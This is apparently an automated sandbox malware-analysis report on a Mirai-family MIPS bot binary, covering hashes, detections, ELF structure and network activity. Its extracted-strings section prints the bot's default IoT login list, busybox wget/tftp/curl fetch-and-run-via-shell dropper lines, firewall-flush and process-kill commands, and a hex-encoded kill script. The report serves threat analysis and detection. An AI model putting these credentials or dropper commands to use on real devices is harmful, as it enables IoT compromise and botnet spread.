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Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name:la.bot.mipsel.elf
Analysis ID:1579370
MD5:0a203defaf7ce89ea8196aaecb7b98f3
SHA1:67c78155dda9357a094bfb354e124db1abcd08df
SHA256:4b93e39dabdcafa39dacc4600ca89d05189141379a7220a9a716efed0d259f89
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:56
Range:0 - 100
Whitelisted:false

Signatures

Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:41.0.0 Charoite
Analysis ID:1579370
Start date and time:2024-12-22 00:26:08 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 24s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.mipsel.elf
Detection:MAL
Classification:mal56.troj.linELF@0/0@2/0
Command:/tmp/la.bot.mipsel.elf
PID:5429
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.mipsel.elf (PID: 5429, Parent: 5353, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/la.bot.mipsel.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
la.bot.mipsel.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    5429.1.00007fafac400000.00007fafac420000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: la.bot.mipsel.elfVirustotal: Detection: 28%Perma Link
      Source: la.bot.mipsel.elfReversingLabs: Detection: 28%
      Source: la.bot.mipsel.elfString: ash|login|wget|curl|tftp|ntpdate|ftp
      Source: la.bot.mipsel.elfString: '/proc//cmdline/mapsselfrebootftpwgetmountunmount-shashtftpcurl/bin/login/exe|ash|login|wget|curl|tftp|ntpdate|ftp/proc/mounts (deleted)/proc/%s/statusPPid:/fdsocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/var/Sofia/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin/
      Source: la.bot.mipsel.elfString: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
      Source: /tmp/la.bot.mipsel.elf (PID: 5429)Socket: 127.0.0.1:1234Jump to behavior
      Source: global trafficDNS traffic detected: DNS query: daisy.ubuntu.com
      Source: la.bot.mipsel.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.mipsel.elfString found in binary or memory: http:///wget.sh
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnp
      Source: Initial sampleString containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd rm -rf dvrEncoder rtspd dvrUpdater dvrDecoder dvrRecorder ptzcontrol .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- |
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal56.troj.linELF@0/0@2/0
      Source: /tmp/la.bot.mipsel.elf (PID: 5429)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.mipsel.elf, 5429.1.000056088a00e000.000056088a0b5000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mipsel
      Source: la.bot.mipsel.elf, 5429.1.000056088a00e000.000056088a0b5000.rw-.sdmpBinary or memory string: V!/etc/qemu-binfmt/mipsel
      Source: la.bot.mipsel.elf, 5429.1.00007ffdfedc8000.00007ffdfede9000.rw-.sdmpBinary or memory string: _e#x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
      Source: la.bot.mipsel.elf, 5429.1.00007ffdfedc8000.00007ffdfede9000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
      Source: la.bot.mipsel.elf, 5429.1.00007ffdfedc8000.00007ffdfede9000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mipsel

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: la.bot.mipsel.elf, type: SAMPLE
      Source: Yara matchFile source: 5429.1.00007fafac400000.00007fafac420000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: la.bot.mipsel.elf, type: SAMPLE
      Source: Yara matchFile source: 5429.1.00007fafac400000.00007fafac420000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Number of created Files
      • Is malicious
      • Internet
      SourceDetectionScannerLabelLink
      la.bot.mipsel.elf29%VirustotalBrowse
      la.bot.mipsel.elf29%ReversingLabsLinux.Backdoor.Gafgyt
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      daisy.ubuntu.com
      162.213.35.25
      truefalse
        high
        NameSourceMaliciousAntivirus DetectionReputation
        http:///wget.shla.bot.mipsel.elffalse
          high
          http:///curl.shla.bot.mipsel.elffalse
            high
            No contacted IP infos
            No context
            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            daisy.ubuntu.comla.bot.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            la.bot.arm7.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            la.bot.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.sparc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            la.bot.m68k.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            la.bot.powerpc.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            nsharm6.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            x86_64.nn.elfGet hashmaliciousMirai, OkiruBrowse
            • 162.213.35.25
            mips.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.25
            mpsl.elfGet hashmaliciousMiraiBrowse
            • 162.213.35.24
            No context
            No context
            No context
            No created / dropped files found
            File type:ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
            Entropy (8bit):5.602132708363762
            TrID:
            • ELF Executable and Linkable format (generic) (4004/1) 100.00%
            File name:la.bot.mipsel.elf
            File size:134'308 bytes
            MD5:0a203defaf7ce89ea8196aaecb7b98f3
            SHA1:67c78155dda9357a094bfb354e124db1abcd08df
            SHA256:4b93e39dabdcafa39dacc4600ca89d05189141379a7220a9a716efed0d259f89
            SHA512:aafddc189f92558fab425679a3a516a18560722caefb869ebc0fe315050e9a162c9af4680962d953eff467031e3f92f8574bb78df63d0f6b3f09a7d42d754616
            SSDEEP:3072:bz4B/9/9/Q97eCtavo59e+LSEGIEinpZN2:A/9l/Q97esag59aEoQ6
            TLSH:4FD3F806BBA10EFBE86FCC3701A91B06258CA41722E57B767670D928F60B15F5AD3C74
            File Content Preview:.ELF....................`.@.4...........4. ...(...............@...@...........................E...E.@....w..........Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<X..'!.............9

            ELF header

            Class:ELF32
            Data:2's complement, little endian
            Version:1 (current)
            Machine:MIPS R3000
            Version Number:0x1
            Type:EXEC (Executable file)
            OS/ABI:UNIX - System V
            ABI Version:0
            Entry Point Address:0x400260
            Flags:0x1007
            ELF Header Size:52
            Program Header Offset:52
            Program Header Size:32
            Number of Program Headers:3
            Section Header Offset:133788
            Section Header Size:40
            Number of Section Headers:13
            Header String Table Index:12
            NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
            NULL0x00x00x00x00x0000
            .initPROGBITS0x4000940x940x8c0x00x6AX004
            .textPROGBITS0x4001200x1200x1c2200x00x6AX0016
            .finiPROGBITS0x41c3400x1c3400x5c0x00x6AX004
            .rodataPROGBITS0x41c3a00x1c3a00x32600x00x2A0016
            .ctorsPROGBITS0x45f6040x1f6040x80x00x3WA004
            .dtorsPROGBITS0x45f60c0x1f60c0x80x00x3WA004
            .data.rel.roPROGBITS0x45f6180x1f6180x9080x00x3WA004
            .dataPROGBITS0x45ff200x1ff200x5240x00x3WA0016
            .gotPROGBITS0x4604500x204500x5f40x40x10000003WAp0016
            .sbssNOBITS0x460a440x20a440x1c0x00x10000003WAp004
            .bssNOBITS0x460a600x20a440x63640x00x3WA0016
            .shstrtabSTRTAB0x00x20a440x560x00x0001
            TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
            LOAD0x00x4000000x4000000x1f6000x1f6005.60150x5R E0x10000.init .text .fini .rodata
            LOAD0x1f6040x45f6040x45f6040x14400x77c04.30150x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
            GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
            TimestampSource PortDest PortSource IPDest IP
            Dec 22, 2024 00:26:57.431972980 CET5688953192.168.2.138.8.8.8
            Dec 22, 2024 00:26:57.432018995 CET3467253192.168.2.138.8.8.8
            Dec 22, 2024 00:26:57.554634094 CET53346728.8.8.8192.168.2.13
            Dec 22, 2024 00:26:57.565814972 CET53568898.8.8.8192.168.2.13
            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
            Dec 22, 2024 00:26:57.431972980 CET192.168.2.138.8.8.80xb7b9Standard query (0)daisy.ubuntu.comA (IP address)IN (0x0001)false
            Dec 22, 2024 00:26:57.432018995 CET192.168.2.138.8.8.80xa0faStandard query (0)daisy.ubuntu.com28IN (0x0001)false
            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
            Dec 22, 2024 00:26:57.565814972 CET8.8.8.8192.168.2.130xb7b9No error (0)daisy.ubuntu.com162.213.35.25A (IP address)IN (0x0001)false
            Dec 22, 2024 00:26:57.565814972 CET8.8.8.8192.168.2.130xb7b9No error (0)daisy.ubuntu.com162.213.35.24A (IP address)IN (0x0001)false

            System Behavior

            Start time (UTC):23:26:56
            Start date (UTC):21/12/2024
            Path:/tmp/la.bot.mipsel.elf
            Arguments:/tmp/la.bot.mipsel.elf
            File size:5773336 bytes
            MD5 hash:0d6f61f82cf2f781c6eb0661071d42d9